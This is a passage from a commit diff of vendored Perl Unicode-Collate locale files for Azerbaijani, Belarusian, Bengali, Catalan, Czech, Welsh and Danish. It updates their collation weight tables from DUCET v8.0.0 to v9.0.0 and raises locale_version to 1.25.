+0995 09CD 09B7 ; [.26EF.0020.0002][.FFF1.0000.0000] # <BENGALI LETTER KA, BENGALI SIGN VIRAMA, BENGALI LETTER SSA>
+09B9      ; [.26EF.0020.0002][.FFF0.0000.0000] # BENGALI LETTER HA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/az.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/az.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/az.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,53 +1,53 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # schwa doesn't require tailoring
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E7      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
-0063 0327 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
-00C7      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
-0043 0327 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
-011F      ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE
-0067 0306 ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE
-011E      ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
-0047 0306 ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
-0131      ; [.1CAC.0020.0002] # LATIN SMALL LETTER DOTLESS I
-0049      ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER I
-00CC      ; [.1CAC.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE
-00CD      ; [.1CAC.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE
-00CE      ; [.1CAC.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
-00CF      ; [.1CAC.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS
-012A      ; [.1CAC.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
-012C      ; [.1CAC.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE
-012E      ; [.1CAC.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK
-0130      ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
-0049 0307 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
-00F6      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-015F      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
-0073 0327 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
-015E      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
-0053 0327 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
-00FC      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0071      ; [.1CE1.0020.0002] # LATIN SMALL LETTER Q
-0051      ; [.1CE1.0020.0008] # LATIN CAPITAL LETTER Q
-0078      ; [.1C94.0020.0002] # LATIN SMALL LETTER X
-0058      ; [.1C94.0020.0008] # LATIN CAPITAL LETTER X
-0077      ; [.1E9D.0020.0002] # LATIN SMALL LETTER W
-0057      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER W
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E7      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
+0063 0327 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA
+00C7      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
+0043 0327 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA
+011F      ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE
+0067 0306 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE
+011E      ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
+0047 0306 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE
+0131      ; [.1D31.0020.0002] # LATIN SMALL LETTER DOTLESS I
+0049      ; [.1D31.0020.0008] # LATIN CAPITAL LETTER I
+00CC      ; [.1D31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE
+00CD      ; [.1D31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE
+00CE      ; [.1D31.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+00CF      ; [.1D31.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS
+012A      ; [.1D31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON
+012C      ; [.1D31.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE
+012E      ; [.1D31.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK
+0130      ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
+0049 0307 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE
+00F6      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+015F      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
+0073 0327 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
+015E      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
+0053 0327 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
+00FC      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0071      ; [.1D66.0020.0002] # LATIN SMALL LETTER Q
+0051      ; [.1D66.0020.0008] # LATIN CAPITAL LETTER Q
+0078      ; [.1D19.0020.0002] # LATIN SMALL LETTER X
+0058      ; [.1D19.0020.0008] # LATIN CAPITAL LETTER X
+0077      ; [.1F22.0020.0002] # LATIN SMALL LETTER W
+0057      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER W
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/be.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/be.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/be.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,13 +1,13 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0451      ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO
-0435 0308 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO
-0401      ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO
-0415 0308 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO
-045E      ; [.2099.0020.0002] # CYRILLIC SMALL LETTER SHORT U
-0443 0306 ; [.2099.0020.0002] # CYRILLIC SMALL LETTER SHORT U
-040E      ; [.2099.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U
-0423 0306 ; [.2099.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0451      ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO
+0435 0308 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO
+0401      ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO
+0415 0308 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO
+045E      ; [.211E.0020.0002] # CYRILLIC SMALL LETTER SHORT U
+0443 0306 ; [.211E.0020.0002] # CYRILLIC SMALL LETTER SHORT U
+040E      ; [.211E.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U
+0423 0306 ; [.211E.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/bn.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/bn.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/bn.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0982      ; [.2640.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA
-0983      ; [.2640.0020.0002][.FFF2.0000.0000] # BENGALI SIGN VISARGA
-0981      ; [.2640.0020.0002][.FFF3.0000.0000] # BENGALI SIGN CANDRABINDU
-0994      ; [.2640.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0982      ; [.26CD.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA
+0983      ; [.26CD.0020.0002][.FFF2.0000.0000] # BENGALI SIGN VISARGA
+0981      ; [.26CD.0020.0002][.FFF3.0000.0000] # BENGALI SIGN CANDRABINDU
+0994      ; [.26CD.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ca.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ca.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ca.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,17 +1,17 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0063 0068 ; [.1BF6.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0063 0048 ; [.1BF6.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
-0043 0068 ; [.1BF6.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1BF6.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-006C 006C ; [.1CF3.0020.0002][.0000.0000.0001] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
-006C 00B7 006C ; [.1CF3.0020.0002][.0000.0000.0007] # <LATIN SMALL LETTER L, MIDDLE DOT, LATIN SMALL LETTER L>
-006C 004C ; [.1CF3.0020.0007][.0000.0000.0002][.0000.0000.0001] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L>
-006C 00B7 004C ; [.1CF3.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN SMALL LETTER L, MIDDLE DOT, LATIN CAPITAL LETTER L>
-004C 006C ; [.1CF3.0020.0007][.0000.0000.0008][.0000.0000.0001] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
-004C 00B7 006C ; [.1CF3.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER L, MIDDLE DOT, LATIN SMALL LETTER L>
-004C 004C ; [.1CF3.0020.0008][.0000.0000.0001] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
-004C 00B7 004C ; [.1CF3.0020.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER L, MIDDLE DOT, LATIN CAPITAL LETTER L>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0063 0068 ; [.1C7B.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0063 0048 ; [.1C7B.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
+0043 0068 ; [.1C7B.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1C7B.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+006C 006C ; [.1D78.0020.0002][.0000.0000.0001] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
+006C 00B7 006C ; [.1D78.0020.0002][.0000.0000.0007] # <LATIN SMALL LETTER L, MIDDLE DOT, LATIN SMALL LETTER L>
+006C 004C ; [.1D78.0020.0007][.0000.0000.0002][.0000.0000.0001] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L>
+006C 00B7 004C ; [.1D78.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN SMALL LETTER L, MIDDLE DOT, LATIN CAPITAL LETTER L>
+004C 006C ; [.1D78.0020.0007][.0000.0000.0008][.0000.0000.0001] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
+004C 00B7 006C ; [.1D78.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER L, MIDDLE DOT, LATIN SMALL LETTER L>
+004C 004C ; [.1D78.0020.0008][.0000.0000.0001] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
+004C 00B7 004C ; [.1D78.0020.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER L, MIDDLE DOT, LATIN CAPITAL LETTER L>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cs.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cs.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cs.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,25 +1,25 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-010D      ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0063 0068 ; [.1C94.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0063 0048 ; [.1C94.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
-0043 0068 ; [.1C94.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1C94.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-0159      ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON
-0072 030C ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON
-0158      ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
-0052 030C ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-017E      ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0063 0068 ; [.1D19.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER H>
+0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1D19.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+0159      ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON
+0072 030C ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON
+0158      ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
+0052 030C ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cy.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cy.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/cy.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,29 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0063 0068 ; [.1BF6.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0043 0068 ; [.1BF6.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
-0043 0048 ; [.1BF6.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
-0064 0064 ; [.1C0B.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D>
-0044 0064 ; [.1C0B.0020.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D>
-0044 0044 ; [.1C0B.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D>
-0066 0066 ; [.1C61.0020.0002] # <LATIN SMALL LETTER F, LATIN SMALL LETTER F>
-0046 0066 ; [.1C61.0020.0007] # <LATIN CAPITAL LETTER F, LATIN SMALL LETTER F>
-0046 0046 ; [.1C61.0020.0008] # <LATIN CAPITAL LETTER F, LATIN CAPITAL LETTER F>
-006E 0067 ; [.1C70.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER G>
-004E 0067 ; [.1C70.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER G>
-004E 0047 ; [.1C70.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER G>
-006C 006C ; [.1CF3.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
-004C 006C ; [.1CF3.0020.0007] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
-004C 004C ; [.1CF3.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
-0070 0068 ; [.1D88.0020.0002] # <LATIN SMALL LETTER P, LATIN SMALL LETTER H>
-0050 0068 ; [.1D88.0020.0007] # <LATIN CAPITAL LETTER P, LATIN SMALL LETTER H>
-0050 0048 ; [.1D88.0020.0008] # <LATIN CAPITAL LETTER P, LATIN CAPITAL LETTER H>
-0072 0068 ; [.1DAF.0020.0002] # <LATIN SMALL LETTER R, LATIN SMALL LETTER H>
-0052 0068 ; [.1DAF.0020.0007] # <LATIN CAPITAL LETTER R, LATIN SMALL LETTER H>
-0052 0048 ; [.1DAF.0020.0008] # <LATIN CAPITAL LETTER R, LATIN CAPITAL LETTER H>
-0074 0068 ; [.1E11.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER H>
-0054 0068 ; [.1E11.0020.0007] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER H>
-0054 0048 ; [.1E11.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER H>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0063 0068 ; [.1C7B.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0043 0068 ; [.1C7B.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1C7B.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+0064 0064 ; [.1C90.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D>
+0044 0064 ; [.1C90.0020.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D>
+0044 0044 ; [.1C90.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D>
+0066 0066 ; [.1CE6.0020.0002] # <LATIN SMALL LETTER F, LATIN SMALL LETTER F>
+0046 0066 ; [.1CE6.0020.0007] # <LATIN CAPITAL LETTER F, LATIN SMALL LETTER F>
+0046 0046 ; [.1CE6.0020.0008] # <LATIN CAPITAL LETTER F, LATIN CAPITAL LETTER F>
+006E 0067 ; [.1CF5.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER G>
+004E 0067 ; [.1CF5.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER G>
+004E 0047 ; [.1CF5.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER G>
+006C 006C ; [.1D78.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L>
+004C 006C ; [.1D78.0020.0007] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L>
+004C 004C ; [.1D78.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L>
+0070 0068 ; [.1E0D.0020.0002] # <LATIN SMALL LETTER P, LATIN SMALL LETTER H>
+0050 0068 ; [.1E0D.0020.0007] # <LATIN CAPITAL LETTER P, LATIN SMALL LETTER H>
+0050 0048 ; [.1E0D.0020.0008] # <LATIN CAPITAL LETTER P, LATIN CAPITAL LETTER H>
+0072 0068 ; [.1E34.0020.0002] # <LATIN SMALL LETTER R, LATIN SMALL LETTER H>
+0052 0068 ; [.1E34.0020.0007] # <LATIN CAPITAL LETTER R, LATIN SMALL LETTER H>
+0052 0048 ; [.1E34.0020.0008] # <LATIN CAPITAL LETTER R, LATIN CAPITAL LETTER H>
+0074 0068 ; [.1E96.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER H>
+0054 0068 ; [.1E96.0020.0007] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER H>
+0054 0048 ; [.1E96.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER H>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/da.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/da.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/da.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,78 +1,78 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    upper_before_lower => 1,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
